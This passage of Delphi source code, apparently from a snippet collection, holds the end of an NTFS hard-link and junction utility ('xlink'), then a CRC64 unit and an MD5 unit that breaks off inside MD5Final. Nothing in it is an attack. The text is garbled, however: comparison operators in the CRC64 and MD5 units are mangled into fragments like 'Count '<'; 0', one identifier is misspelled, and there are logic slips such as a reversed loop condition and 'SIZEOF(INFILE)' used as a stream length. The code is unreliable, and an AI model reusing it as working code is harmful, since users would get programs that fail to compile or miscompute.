    PChar(AFileName),
    GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,
    nil,
    OPEN_EXISTING,
    0,
    0
    );
  if hFileSource = INVALID_HANDLE_VALUE then
    raise Exception.Create('Can''t open file "' + AFileName + '"');
  try
    cbPathLen := Windows.GetFullPathNameW(aLinkWCFileName, MAX_PATH,
      aLinkFullName, pwFilePart);
    if cbPathLen <= 0 then
      raise Exception.Create('Invalid link name "' + ALinkName + '"');
    cbPathLen := (cbPathLen + 1) * SizeOf(WChar);
    lpContext := nil;
    rStreamId.dwStreamId := BACKUP_LINK;
    rStreamId.dwStreamAttributes := 0;
    rStreamId.dwStreamNameSize := 0;
    int64rec(rStreamId.Size).hi := 0;
    int64rec(rStreamId.Size).lo := cbPathLen;
    dwStreamHeaderSize := PChar(@rStreamId.cStreamName) - PChar(@rStreamId)
      + LongInt(rStreamId.dwStreamNameSize);
    if not BackupWrite(
      hFileSource,
      Pointer(@rStreamId), // buffer to write
      dwStreamHeaderSize, // number of bytes to write
      dwBytesWritten,
      False, // don't abort yet
      False, // don't process security
      lpContext
      ) then
      RaiseLastOSError;
    if not BackupWrite(
      hFileSource,
      Pointer(@aLinkFullName), // buffer to write
      cbPathLen, // number of bytes to write
      dwBytesWritten,
      False, // don't abort yet
      False, // don't process security
      lpContext
      ) then
      RaiseLastOSError;
    // free context
    if not BackupWrite(
      hFileSource,
      nil, // buffer to write
      0, // number of bytes to write
      dwBytesWritten,
      True, // abort
      False, // don't process security
      lpContext
      ) then
      RaiseLastOSError;
  finally
    CloseHandle(hFileSource);
  end;
end;
//-------------------------------------------------------------
// ADirName and ADirForLinks must not end with backslach
procedure _CreateHardlinksForSubDirectory(const ADirName, ADirForLinks: string;
  options: TOptions);
var
  h: THandle;
  sExistedFile, sLinkName: string;
  dwAttributes: DWORD;
  rFindData: TWin32FindData;
  awcFileName: array[0..MAX_PATH] of WChar;
begin
  dwAttributes := GetFileAttributes(PChar(ADirForLinks));
  if dwAttributes = FILE_DOES_NOT_EXIST then
  begin
    // WriteLn('Create Directory ',ADirForLinks);
    if not CreateDir(ADirForLinks) then
      raise Exception.Create('Can''t create directory "' + ADirForLinks + '".');
  end
  else if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    raise Exception.Create('File "' + ADirName
      + '" already exists and it is not a directory.');
  h := Windows.FindFirstFile(PChar(ADirName + '\*'), rFindData);
  if h = INVALID_HANDLE_VALUE then
    Exit;
  try
    repeat
      if (rFindData.cFileName[0] = '.') and
        ((rFindData.cFileName[1] = #0) or ((rFindData.cFileName[1] = '.') and
        (rFindData.cFileName[2] = #0))) then
        Continue;
      sExistedFile := ADirName + '\' + rFindData.cFileName;
      sLinkName := ADirForLinks + '\' + rFindData.cFileName;
      if (rFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
      begin
        awcFileName[
          Windows.MultiByteToWideChar(0, 0, PChar(sExistedFile),
          MAX_PATH, awcFileName, MAX_PATH)
          ] := #0;
        _CreateHardlink(sExistedFile, awcFileName, sLinkName,
          optOverwrite in options);
      end
      else if optRecursive in options then
      begin
        _CreateHardlinksForSubDirectory(sExistedFile, sLinkName, options);
      end;
    until not Windows.FindNextFile(h, rFindData);
  finally
    Windows.FindClose(h);
  end;
end;
//-------------------------------------------------------------
procedure CreateHardlink(AFileName, ALinkName: string; options: TOptions);
var
  dwAttributes: DWORD;
  aFileSource: array[0..MAX_PATH] of WChar;
begin
  dwAttributes := Windows.GetFileAttributes(PChar(AFileName));
  if dwAttributes = FILE_DOES_NOT_EXIST then
    raise Exception.Create('File "' + AFileName + '" does not exist.');
  if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
    raise Exception.Create('Can''t create hardlink for directory (file "'
      + AFileName + '").');
  dwAttributes := Windows.GetFileAttributes(PChar(ALinkName));
  if dwAttributes <> FILE_DOES_NOT_EXIST then
  begin
    if not (optOverwrite in options) then
      raise Exception.Create('File "' + ALinkName + '" already exists.');
    if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
      raise Exception.Create('Can''t overwrite directory "' + AFileName + '".');
  end;
  StringToWidechar(AFileName, aFileSource, MAX_PATH);
  _CreateHardlink(AFileName, aFileSource, ALinkName, optOverwrite in options);
end;
//-------------------------------------------------------------
procedure CreateHardlinksForDirectory(const ADirName, ADirForLinks: string;
  options: TOptions);
var
  dwAttributes: DWORD;
  len: Integer;
  sDirName, sDirForLinks: string;
begin
  dwAttributes := Windows.GetFileAttributes(PChar(ADirName));
  if dwAttributes = FILE_DOES_NOT_EXIST then
    raise Exception.Create('Directory "' + ADirName + '" does not exist.');
  if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    raise Exception.Create('File "' + ADirName + '" is not a directory.');
  len := Length(ADirName);
  if (PChar(ADirName) + len - 1)^ = '\' then
    sDirName := Copy(ADirName, 1, len - 1)
  else
    sDirName := ADirName;
  if (PChar(ADirForLinks) + Length(ADirForLinks) - 1)^ <> '\' then
    sDirForLinks := ADirForLinks
  else
    sDirForLinks := Copy(ADirForLinks, 1, Length(ADirForLinks) - 1);
  _CreateHardlinksForSubDirectory(sDirName, sDirForLinks, options);
end;
//-------------------------------------------------------------
procedure CreateHardlinksInDirectory(const AFileName, ADirForLinks: string;
  options: TOptions);
var
  dwAttributes: DWORD;
  len: Integer;
  sFileName, sDirForLinks, sLinkName: string;
  aFileSource: array[0..MAX_PATH] of WChar;
begin
  dwAttributes := Windows.GetFileAttributes(PChar(AFileName));
  if dwAttributes = FILE_DOES_NOT_EXIST then
    raise Exception.Create('File or directory "' + AFileName +
      '" does not exist.');
  if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
  begin
    sLinkName := ADirForLinks + '\' + SysUtils.ExpandFileName(AFileName);
    dwAttributes := Windows.GetFileAttributes(PChar(sLinkName));
    if dwAttributes <> FILE_DOES_NOT_EXIST then
    begin
      if not (optOverwrite in options) then
        raise Exception.Create('File "' + sLinkName + '" already exists.');
      if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
        raise Exception.Create('Can''t overwrite directory "' + AFileName +
          '".');
    end;
    StringToWidechar(AFileName, aFileSource, MAX_PATH);
    _CreateHardlink(AFileName, aFileSource, sLinkName,
      optOverwrite in options);
  end
  else
  begin
    len := Length(AFileName);
    if (PChar(AFileName) + len - 1)^ = '\' then
      sFileName := Copy(AFileName, 1, len - 1)
    else
      sFileName := AFileName;
    if (PChar(ADirForLinks) + Length(ADirForLinks) - 1)^ <> '\' then
      sDirForLinks := ADirForLinks
    else
      sDirForLinks := Copy(ADirForLinks, 1, Length(ADirForLinks) - 1);
    _CreateHardlinksForSubDirectory(sFileName, sDirForLinks, options);
  end;
end;
//-------------------------------------------------------------
procedure DeleteDirectoryContent(const ADirName: string);
type
  PDirRef = ^TDirRef;
  PPDirRef = ^PDirRef;
  TDirRef = record
    Next: PDirRef;
    DirName: string;
  end;
var
  h: THandle;
  sFileName: string;
  pSubDirs: PDirRef;
  ppLast: PPDirRef;
  pDir: PDirRef;
  rFindData: TWin32FindData;
begin
  pSubDirs := nil;
  ppLast := @pSubDirs;
  h := Windows.FindFirstFile(PChar(ADirName + '\*'), rFindData);
  if h = INVALID_HANDLE_VALUE then
    Exit;
  try
    try
      repeat
        if (rFindData.cFileName[0] = '.') and
          ((rFindData.cFileName[1] = #0) or ((rFindData.cFileName[1] = '.') and
          (rFindData.cFileName[2] = #0))) then
          Continue;
        sFileName := ADirName + '\' + rFindData.cFileName;
        if (rFindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
        begin
          New(pDir);
          with pDir^ do
          begin
            Next := nil;
            DirName := sFileName;
          end;
          ppLast^ := pDir;
          ppLast := @pDir^.Next;
        end
        else if not DeleteFile(sFileName) then
          raise Exception.Create('Can''t delete file "' + sFileName + '".');
      until not Windows.FindNextFile(h, rFindData);
    finally
      Windows.FindClose(h);
    end;
    if pSubDirs <> nil then
    begin
      repeat
        pDir := pSubDirs;
        pSubDirs := pDir^.Next;
        sFileName := pDir^.DirName;
        Dispose(pDir);
        DeleteDirectoryContent(sFileName);
        if not RemoveDir(sFileName) then
          raise Exception.Create('Can''t delete directory "' + sFileName +
            '".');
      until pSubDirs = nil;
    end;
  except
    while pSubDirs <> nil do
    begin
      pDir := pSubDirs;
      pSubDirs := pDir^.Next;
      Dispose(pDir);
    end;
    raise;
  end;
end;
//-------------------------------------------------------------
const
  FILE_DEVICE_FILE_SYSTEM = $0009;
  // Define the method codes for how buffers are passed for I/O and FS controls
  METHOD_BUFFERED = 0;
  METHOD_IN_DIRECT = 1;
  METHOD_OUT_DIRECT = 2;
  METHOD_NEITHER = 3;
  // Define the access check value for any access
  FILE_ANY_ACCESS = 0;
  FILE_READ_DATA = 1;
  FILE_WRITE_DATA = 2;
  FSCTL_SET_REPARSE_POINT = (FILE_DEVICE_FILE_SYSTEM shl 16) or
    (FILE_ANY_ACCESS shl 14) or (41 shl 2) or (METHOD_BUFFERED);
  FSCTL_GET_REPARSE_POINT = (FILE_DEVICE_FILE_SYSTEM shl 16) or
    (FILE_ANY_ACCESS shl 14) or (42 shl 2) or (METHOD_BUFFERED);
  FSCTL_DELETE_REPARSE_POINT = (FILE_DEVICE_FILE_SYSTEM shl 16) or
    (FILE_ANY_ACCESS shl 14) or (43 shl 2) or (METHOD_BUFFERED);
  FILE_FLAG_OPEN_REPARSE_POINT = $00200000;
  FILE_ATTRIBUTE_REPARSE_POINT = $00000400;
  IO_REPARSE_TAG_MOUNT_POINT = $A0000003;
  REPARSE_MOUNTPOINT_HEADER_SIZE = 8;
type
  REPARSE_MOUNTPOINT_DATA_BUFFER = packed record
    ReparseTag: DWORD;
    ReparseDataLength: DWORD;
    Reserved: Word;
    ReparseTargetLength: Word;
    ReparseTargetMaximumLength: Word;
    Reserved1: Word;
    ReparseTarget: array[0..0] of WChar;
  end;
  TReparseMountpointDataBuffer = REPARSE_MOUNTPOINT_DATA_BUFFER;
  PReparseMountpointDataBuffer = ^TReparseMountpointDataBuffer;
  //-------------------------------------------------------------
function CreateSymlink(ATargetName, ALinkName: string; const options: TOptions):
  Boolean;
const
  pwcNativeFileNamePrefix: PWideChar = '\??\';
  nNativeFileNamePrefixWCharLength = 4;
  nNativeFileNamePrefixByteLength = nNativeFileNamePrefixWCharLength * 2;
var
  hLink: THandle;
  pReparseInfo: PReparseMountpointDataBuffer;
  len, size: Integer;
  pwcLinkFileName: PWideChar;
  pwcTargetNativeFileName: PWideChar;
  pwcTargetFileName: PWideChar;
  pwc: PWideChar;
  pc: PChar;
  dwBytesReturned: DWORD;
  dwAttributes: DWORD;
  bDirectoryCreated: Boolean;
  aTargetFullName: array[0..MAX_PATH] of Char;
begin
  Result := False;
  pReparseInfo := nil;
  hLink := INVALID_HANDLE_VALUE;
  bDirectoryCreated := False;
  len := Length(ALinkName);
  if ((PChar(ALinkName) + len - 1)^ = '\') and ((PChar(ALinkName) + len - 2)^ <>
    ':') then
  begin
    Dec(len);
    SetLength(ALinkName, len);
  end;
  System.GetMem(pwcLinkFileName, len + len + 2);
  try
    pwcLinkFileName[
      Windows.MultiByteToWideChar(0, 0, PChar(ALinkName), len, wcLinkFileName,
        len)
      ] := #0;
    dwAttributes := Windows.getFileAttributesW(pwcLinkFileName);
    if dwAttributes <> FILE_DOES_NOT_EXIST then
    begin
      if not (optOverwrite in options) then
      begin
        if (dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
          raise Exception.Create('The file "' + ALinkName + '" already exists');
        if not isDirectoryEmpty(ALinkName) then
          raise Exception.Create(
            'The directory "' + ALinkName +
              '" already exists and is not empty');
        dwAttributes := FILE_DOES_NOT_EXIST;
      end
      else if ((dwAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0) then
      begin
        if not DeleteFile(ALinkName) then
          raise Exception.Create('Can''t overwrite file "' + ALinkName + '"');
        dwAttributes := FILE_DOES_NOT_EXIST;
      end
      else if (dwAttributes and FILE_ATTRIBUTE_REPARSE_POINT)
        <> FILE_ATTRIBUTE_REPARSE_POINT then
        if not isDirectoryEmpty(ALinkName) then
        begin
          if not (optDirectory in options) then
            raise Exception.Create('Can''t overwrite non-empty directory "'
              + ALinkName + '"');
          DeleteDirectoryContent(ALinkName);
        end;
    end;
    if dwAttributes = FILE_DOES_NOT_EXIST then
    begin
      Windows.CreateDirectoryW(pwcLinkFileName, nil);
      bDirectoryCreated := True;
    end;
    try
      hLink := Windows.CreateFileW(pwcLinkFileName, GENERIC_WRITE, 0, nil,
        OPEN_EXISTING,
        FILE_FLAG_OPEN_REPARSE_POINT or FILE_FLAG_BACKUP_SEMANTICS, 0);
      if hLink = INVALID_HANDLE_VALUE then
        RaiseLastOSError;
      len := Length(ATargetName);
      if ((PChar(ATargetName) + len - 1)^ = '\')
        and ((PChar(ATargetName) + len - 2)^ <> ':') then
      begin
        Dec(len);
        SetLength(ATargetName, len);
      end;
      len := Windows.GetFullPathName(PChar(ATargetName), MAX_PATH,
        aTargetFullName, pc);
      size := len + len + 2
        + nNativeFileNamePrefixByteLength + REPARSE_MOUNTPOINT_HEADER_SIZE + 12;
      System.GetMem(pReparseInfo, size);
      FillChar(pReparseInfo^, size, #0);
      pwcTargetNativeFileName := @pReparseInfo^.ReparseTarget;
      System.Move(pwcNativeFileNamePrefix^, pwcTargetNativeFileName^,
        nNativeFileNamePrefixByteLength + 2);
      pwcTargetFileName := pwcTargetNativeFileName +
        nNativeFileNamePrefixWCharLength;
      pwc := pwcTargetFileName + Windows.MultiByteToWideChar(0, 0,
        aTargetFullName, len, pwcTargetFileName, len);
      pwc^ := #0;
      with pReparseInfo^ do
      begin
        ReparseTag := IO_REPARSE_TAG_MOUNT_POINT;
        ReparseTargetLength := PChar(pwc) - PChar(pwcTargetNativeFileName);
        ReparseTargetMaximumLength := ReparseTargetLength + 2;
        ReparseDataLength := ReparseTargetLength + 12;
      end;
      dwBytesReturned := 0;
      if not DeviceIoControl(hLink, FSCTL_SET_REPARSE_POINT, pReparseInfo,
        pReparseInfo^.ReparseDataLength + REPARSE_MOUNTPOINT_HEADER_SIZE,
        nil, 0, dwBytesReturned, nil) then
        RaiseLastOSError;
    except
      if bDirectoryCreated then
        RemoveDirectoryW(pwcLinkFileName);
      raise;
    end;
    Result := true;
  finally
    if hLink <> INVALID_HANDLE_VALUE then
      Windows.CloseHandle(hLink);
    if pwcLinkFileName <> nil then
      System.FreeMem(pwcLinkFileName);
    if pReparseInfo <> nil then
      System.FreeMem(pReparseInfo);
  end;
end;
//-------------------------------------------------------------
procedure Help;
begin
  WriteLn;
  WriteLn('Create link(s) on NTFS.');
  WriteLn;
  WriteLn('Usage:');
  WriteLn;
  WriteLn('To create hardlink(s) (works only for files):');
  WriteLn('xlink [-fr] <existed_file> <link_name>');
  WriteLn;
  WriteLn('To create symbolic link (works on Windows 2k/XP for directories only):');
  WriteLn('xlink -s[f|F] <existed_directory> <link_name>');
  WriteLn;
  WriteLn('Options:');
  WriteLn('-f Overwrite file with name <link_name> if it exists.');
  WriteLn('-F Overwrite file/directory with name <link_name> if it exists.');
  WriteLn('-r Recursive.');
  WriteLn;
  WriteLn('(c) 2002 Alex Konshin');
  Halt;
end;
//-------------------------------------------------------------
procedure Execute;
var
  iArg: Integer;
  sArg: string;
  ptr: PChar;
  options: TOptions;
  sExistedFileName: string;
  sLink: string;
  dwAttrs: DWORD;
begin
  iArg := 1;
  repeat
    sArg := ParamStr(iArg);
    if sArg = '' then
      Help;
    if PChar(sArg)^ <> '-' then
      Break;
    ptr := PChar(sArg) + 1;
    while ptr^ <> #0 do
    begin
      case ptr^ of
        's', 'S': Include(options, optSymbolicLink);
        'h', 'H': Help;
        'F': options := options + [optOverwrite, optDirectory];
        'f': Include(options, optOverwrite);
        'r', 'R': Include(options, optRecursive);
        'd', 'D': Include(options, optDirectory);
      else
        WriteLn('Error: Invalid option ''-', ptr^, '''');
        Exit;
      end;
      Inc(ptr);
    end;
    Inc(iArg);
  until iArg <= ParamCount;
  if ParamCount <= iArg then
    Help;
  if ParamCount - iArg > 1 then
    Include(options, optDirectory);
  if optSymbolicLink in options then
  begin
    sLink := ParamStr(ParamCount);
    repeat
      sExistedFileName := ParamStr(iArg);
      if not CreateSymlink(sExistedFileName, sLink, options) then
        WriteLn('The symbolic link creation failed.');
      Inc(iArg);
    until iArg >= ParamCount;
  end
  else if (options * [optRecursive, optDirectory]) <> [] then
  begin
    sLink := ParamStr(ParamCount);
    repeat
      sExistedFileName := ParamStr(iArg);
      CreateHardlinksInDirectory(sExistedFileName, sLink, options);
      Inc(iArg);
    until iArg >= ParamCount;
  end
  else
  begin
    sExistedFileName := ParamStr(iArg);
    sLink := ParamStr(ParamCount);
    dwAttrs := GetFileAttributes(PChar(sExistedFileName));
    if dwAttrs = FILE_DOES_NOT_EXIST then
    begin
      writeln('Error: The source file does not exist');
      Exit;
    end;
    if (dwAttrs and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
    begin
      writeln('Error: Can''t create hardlink for directory');
      Exit;
    end;
    CreateHardlink(sExistedFileName, sLink, options);
  end;
end;
//=============================================================
begin
  if ParamCount < 2 then
    Help;
  try
    Execute;
  except
    on E: Exception do
    begin
      WriteLn(E.ClassName + ': ' + E.Message);
    end;
  end;
end.

Модуль для подсчета CRC64.

Автор: Nikonov A.A.

unit psnCRC64;
interface
 
uses Classes;
 
procedure CRC64Next(const Data; const Count:
  Cardinal; var CRC64: Int64);
function CRC64Full(const Data; const Count:
  Cardinal): Int64;
function  CRC64Stream(const Source:
  TStream; Count: Integer; const BufSize:
  Cardinal = 1024): Int64;
 
implementation
 
var T: array[Byte] of Int64;
 
procedure CRC64Next(const Data; const Count:
  Cardinal; var CRC64: Int64);
var 
   MyCRC64: Int64;
 I: Cardinal;
 PData: ^Byte;
begin
   PData := @Data;
   MyCRC64 := CRC64;
   for I := 1 to Count do
  begin
      MyCRC64 := MyCRC64 shr 8 xor T[Cardinal(MyCRC64)
      and $FF xor PData^];
      Inc(PData);
     end;
     CRC64 := MyCRC64;
  end;
   
  function CRC64Full(const Data; const Count:
  Cardinal): Int64;
begin
   Result := not 0;
   CRC64Next(Data, Count, Result);
end;
 
  function  CRC64Stream(const Source:
  TStream; Count: Integer;
   const BufSize: Cardinal = 1024): Int64;
var 
   N: Cardinal;
 Buffer: Pointer;
begin
   if Count '<';
  0
     then Count := Source.Size;
   GetMem(Buffer, BufSize);
  try
     Result := not 0;
     while Count '<';
    '>';
    0 do
    begin
        if Cardinal(Count)'>';
      BufSize
          then
        N := BufSize
           
        else
        N := Count;
        Source.ReadBuffer(Buffer^, N);
        CRC64Next(Buffer^, N, Result);
        Dec(Count, N);
       end;
       finally FreeMem(Buffer);
    end;
  end;
   
  var 
    I, J: Byte;
    D: Int64;
initialization
  for I := 0 to 255 do
  begin
      D := I;
      for J := 1 to 8 do
         if Odd(D)
           then D := D shr 1 xor $C96C5795D7870F42
           else D := D shr 1;
      T[I] := D;
     end;
  end.
/////////////////////////////////////
// Данные в модуль можно загнать так
procedure TForm1.Button1Click(Sender: TObject);                    
var                                                                   
  InFile: TFileStream;                                                
begin                                                                 
  InFile := TFileStream.Create(fname, fmShareDenyNone);                 
  Caption := INTTOHEX(CRC64Stream(INFILE, SIZEOF(INFILE), 1024), 16);   
end;

Модуль для подсчета хеш-суммм с помощью MD5.

Автор: Nikonov A.A.

unit psnMD5;
 
interface
 
uses Windows, SysUtils, Classes;
 
type
   PMD5Digest = ^TMD5Digest;
   TMD5Digest = record
      case Integer of
         0: (A, B, C, D: LongInt);
         1: (v: array[0..15] of Byte);
       end;
function MD5String(const S: string): TMD5Digest;
function MD5File(const FileName: string): TMD5Digest;
function MD5Stream(const Stream: TStream): TMD5Digest;
function MD5Buffer(const Buffer;
  Size: Integer): TMD5Digest;
function MD5DigestToStr(const Digest:
  TMD5Digest): string;
function MD5DigestCompare(const Digest1,
  Digest2: TMD5Digest): Boolean;
 
  implementation
 
type
   UINT4 = LongWord;
   
     PArray4UINT4 = ^TArray4UINT4;
   TArray4UINT4 = array[0..3] of UINT4;
   PArray2UINT4 = ^TArray2UINT4;
   TArray2UINT4 = array[0..1] of UINT4;
   PArray16Byte = ^TArray16Byte;
   TArray16Byte = array[0..15] of Byte;
   PArray64Byte = ^TArray64Byte;
   TArray64Byte = array[0..63] of Byte;
   
     PByteArray = ^TByteArray;
   TByteArray = array[0..0] of Byte;
   
     PUINT4Array = ^TUINT4Array;
   TUINT4Array = array[0..0] of UINT4;
   
     PMD5Context = ^TMD5Context;
   TMD5Context = record
       state: TArray4UINT4;
       count: TArray2UINT4;
       buffer: TArray64Byte;
     end;
     
      const 
        S11 = 7;
      S12 = 12;
      S13 = 17;
      S14 = 22;
      S21 = 5;
      S22 = 9;
      S23 = 14;
      S24 = 20;
      S31 = 4;
      S32 = 11;
      S33 = 16;
      S34 = 23;
      S41 = 6;
      S42 = 10;
      S43 = 15;
      S44 = 21;
     
      var 
       Padding: TArray64Byte =
     ($80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
     
       
function _F(x, y, z:
  UINT4): UINT4;
begin
   Result := (((x) and (y)) or ((not x) and (z)));
end;
 
function _G(x, y, z:
  UINT4): UINT4;
begin
   Result := (((x) and (z)) or ((y)
    and (not z)));
end;
 
function _H(x, y, z:
  UINT4): UINT4;
begin
   Result := ((x)xor (y)
    xor (z));
end;
 
function _I(x, y, z:
  UINT4): UINT4;
begin
   Result := ((y)xor ((x)
    or (not z)));
end;
 
function ROTATE_LEFT(x, n: UINT4): UINT4;
begin
   Result := (((x)shl (n))
    or ((x)shr (32 - (n))));
end;
 
procedure FF(var a: UINT4; b,
  c, d, x, s, ac: UINT4);
begin
    a := a + _F(b, c, d)
    + x + ac;
    a := ROTATE_LEFT(a, s);
    a := a + b;
end;
 
procedure GG(var a: UINT4; b,
  c, d, x, s, ac: UINT4);
begin
   a := a + _G(b, c, d)
    + x + ac;
   a := ROTATE_LEFT(a, s);
   a := a + b;
end;
 
procedure HH(var a: UINT4; b,
  c, d, x, s, ac: UINT4);
begin
   a := a + _H(b, c, d)
    + x + ac;
   a := ROTATE_LEFT(a, s);
   a := a + b;
end;
 
procedure II(var a: UINT4; b,
  c, d, x, s, ac: UINT4);
begin
   a := a + _I(b, c, d)
    + x + ac;
   a := ROTATE_LEFT(a, s);
   a := a + b;
end;
 
procedure MD5Encode(Output: PByteArray; Input: PUINT4Array; Len: LongWord);
var 
   i, j: LongWord;
begin
   j := 0;
   i := 0;
   while j  '<';
  Len do  begin
      output[j] := Byte(input[i] and $FF);
    output[j + 1] := Byte((input[i]shr 8)
    and $FF);
    output[j + 2] := Byte((input[i]shr 16)
    and $FF);
    output[j + 3] := Byte((input[i]shr 24)
    and $FF);
    Inc(j, 4);
    Inc(i);
   end;
end;
 
procedure MD5Decode(Output: PUINT4Array; Input: PByteArray; Len: LongWord);
var 
   i, j: LongWord;
begin
   j := 0;
   i := 0;
   while j  '<';
  Len do
  begin
      Output[i] := UINT4(input[j])
      or (UINT4(input[j + 1])shl 8)
      or
         (UINT4(input[j + 2])shl 16)
      or (UINT4(input[j + 3])shl 24);
      Inc(j, 4);
      Inc(i);
     end;
  end;
   
procedure MD5_memcpy(Output:
  PByteArray; Input: PByteArray; Len: LongWord);
begin
   Move(Input^, Output^, Len);
end;
 
procedure MD5_memset(Output:
  PByteArray; Value: Integer; Len: LongWord);
begin
   FillChar(Output^, Len, Byte(Value));
end;
 
procedure MD5Transform(State: PArray4UINT4; Buffer: PArray64Byte);
var 
   a, b, c, d: UINT4;
 x: array[0..15] of UINT4;
begin
   a := State[0];
  b := State[1];
  c := State[2];
  d := State[3];
   MD5Decode(PUINT4Array(@x), PByteArray(Buffer), 64);
   
     FF(a, b, c, d,
    x[0], S11, $D76AA478);
   FF(d, a, b,
    c, x[1], S12, $E8C7B756);
   FF(c, d, a, b,
    x[2], S13, $242070DB);
   FF(b, c, d,
    a, x[3], S14, $C1BDCEEE);
   FF(a, b, c, d,
    x[4], S11, $F57C0FAF);
   FF(d, a, b,
    c, x[5], S12, $4787C62A);
   FF(c, d, a, b,
    x[6], S13, $A8304613);
   FF(b, c, d,
    a, x[7], S14, $FD469501);
   FF(a, b, c, d,
    x[8], S11, $698098D8);
   FF(d, a, b,
    c, x[9], S12, $8B44F7AF);
   FF(c, d, a, b,
    x[10], S13, $FFFF5BB1);
   FF(b, c, d,
    a, x[11], S14, $895CD7BE);
   FF(a, b, c, d,
    x[12], S11, $6B901122);
   FF(d, a, b,
    c, x[13], S12, $FD987193);
   FF(c, d, a, b,
    x[14], S13, $A679438E);
   FF(b, c, d,
    a, x[15], S14, $49B40821);
   
     GG(a, b, c, d,
    x[1], S21, $F61E2562);
   GG(d, a, b,
    c, x[6], S22, $C040B340);
   GG(c, d, a, b,
    x[11], S23, $265E5A51);
   GG(b, c, d,
    a, x[0], S24, $E9B6C7AA);
   GG(a, b, c, d,
    x[5], S21, $D62F105D);
   GG(d, a, b,
    c, x[10], S22,  $2441453);
   GG(c, d, a, b,
    x[15], S23, $D8A1E681);
   GG(b, c, d,
    a, x[4], S24, $E7D3FBC8);
   GG(a, b, c, d,
    x[9], S21, $21E1CDE6);
   GG(d, a, b,
    c, x[14], S22, $C33707D6);
   GG(c, d, a, b,
    x[3], S23, $F4D50D87);
   
     GG(b, c, d,
    a, x[8], S24, $455A14ED);
   GG(a, b, c, d,
    x[13], S21, $A9E3E905);
   GG(d, a, b,
    c, x[2], S22, $FCEFA3F8);
   GG(c, d, a, b,
    x[7], S23, $676F02D9);
   GG(b, c, d,
    a, x[12], S24, $8D2A4C8A);
   
     HH(a, b, c, d,
    x[5], S31, $FFFA3942);
   HH(d, a, b,
    c, x[8], S32, $8771F681);
   HH(c, d, a, b,
    x[11], S33, $6D9D6122);
   HH(b, c, d,
    a, x[14], S34, $FDE5380C);
   HH(a, b, c, d,
    x[1], S31, $A4BEEA44);
   HH(d, a, b,
    c, x[4], S32, $4BDECFA9);
   HH(c, d, a, b,
    x[7], S33, $F6BB4B60);
   HH(b, c, d,
    a, x[10], S34, $BEBFBC70);
   HH(a, b, c, d,
    x[13], S31, $289B7EC6);
   HH(d, a, b,
    c, x[0], S32, $EAA127FA);
   HH(c, d, a, b,
    x[3], S33, $D4EF3085);
   HH(b, c, d,
    a, x[6], S34,  $4881d05);
   HH(a, b, c, d,
    x[9], S31, $D9D4D039);
   HH(d, a, b,
    c, x[12], S32, $E6DB99E5);
   HH(c, d, a, b,
    x[15], S33, $1FA27CF8);
   HH(b, c, d,
    a, x[2], S34, $C4AC5665);
   
     II(a, b, c, d,
    x[0], S41, $F4292244);
   II(d, a, b,
    c, x[7], S42, $432AFF97);
   II(c, d, a, b,
    x[14], S43, $AB9423A7);
   II(b, c, d,
    a, x[5], S44, $FC93A039);
   II(a, b, c, d,
    x[12], S41, $655B59C3);
   II(d, a, b,
    c, x[3], S42, $8F0CCC92);
   II(c, d, a, b,
    x[10], S43, $FFEFF47D);
   II(b, c, d,
    a, x[1], S44, $85845DD1);
   II(a, b, c, d,
    x[8], S41, $6FA87E4F);
   II(d, a, b,
    c, x[15], S42, $FE2CE6E0);
   II(c, d, a, b,
    x[6], S43, $A3014314);
   II(b, c, d,
    a, x[13], S44, $4E0811A1);
   II(a, b, c, d,
    x[4], S41, $F7537E82);
   II(d, a, b,
    c, x[11], S42, $BD3AF235);
   II(c, d, a, b,
    x[2], S43, $2AD7D2BB);
   II(b, c, d,
    a, x[9], S44, $EB86D391);
   
     Inc(State[0], a);
   Inc(State[1], b);
   Inc(State[2], c);
   Inc(State[3], d);
   
     MD5_memset (PByteArray(@x), 0, SizeOf(x));
end;
 
   
procedure MD5Init(var Context: TMD5Context);
begin
   FillChar(Context, SizeOf(Context), 0);
   Context.state[0] := $67452301;
   Context.state[1] := $EFCDAB89;
   Context.state[2] := $98BADCFE;
   Context.state[3] := $10325476;
end;
 
procedure MD5Update(var Context:
  TMD5Context; Input: PByteArray; InputLen: LongWord);
var 
   i, index, partLen: LongWord;
 
begin
   index := LongWord((context.count[0]shr 3)
    and $3F);
   Inc(Context.count[0], UINT4(InputLen)shl 3);
   if Context.count[0]'<';
  UINT4(InputLen)shl 3
    then Inc(Context.count[1]);
   Inc(Context.count[1], UINT4(InputLen)shr 29);
   partLen := 64 - index;
   if inputLen '>';
  = partLen then
  begin
      MD5_memcpy(PByteArray(@Context.buffer[index]),
      Input, PartLen);
      MD5Transform(@Context.state, @Context.buffer);
      i := partLen;
      while i + 63 '<';
    inputLen do
    begin
         MD5Transform(@Context.state,
        PArray64Byte(@Input[i]));
         Inc(i, 64);
       
    end;
      index := 0;
     end
  else
    i := 0;
     MD5_memcpy(PByteArray(@Context.buffer[index]),
      PByteArray(@Input[i]), inputLen - i);
end;
 
 
procedure MD5Final(var Digest: TMD5Digest; var Context:
  TMD5Context);
var 
   bits: array[0..7] of Byte;
 index, padLen: LongWord;
begin
   MD5Encode(PByteArray(@bits), PUINT4Array(@Context.count),
    8);
   index := LongWord((Context.count[0]shr 3)
    and $3F);
   if index '<';
  56 then padLen := 56 - index
else
  padLen := 120 - index;
   MD5Update(Context, PByteArray(@PADDING), padLen);
   MD5Update(Context, PByteArray(@Bits), 8);
